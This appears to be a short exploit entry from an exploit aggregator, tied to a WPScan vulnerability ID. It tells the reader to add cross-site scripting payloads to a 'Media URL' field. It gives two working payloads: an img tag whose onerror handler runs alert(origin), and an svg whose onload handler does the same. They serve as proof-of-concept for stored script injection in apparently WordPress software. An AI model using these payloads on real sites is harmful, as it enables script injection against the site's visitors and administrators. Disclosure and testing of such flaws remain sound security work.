## https://sploitus.com/exploit?id=WPEX-ID:E866A214-A142-43C7-B93D-FF2301A3E432 Add the following payload to the Media URL field: <img src=x onerror=alert(origin)> <svg onload=alert(origin)>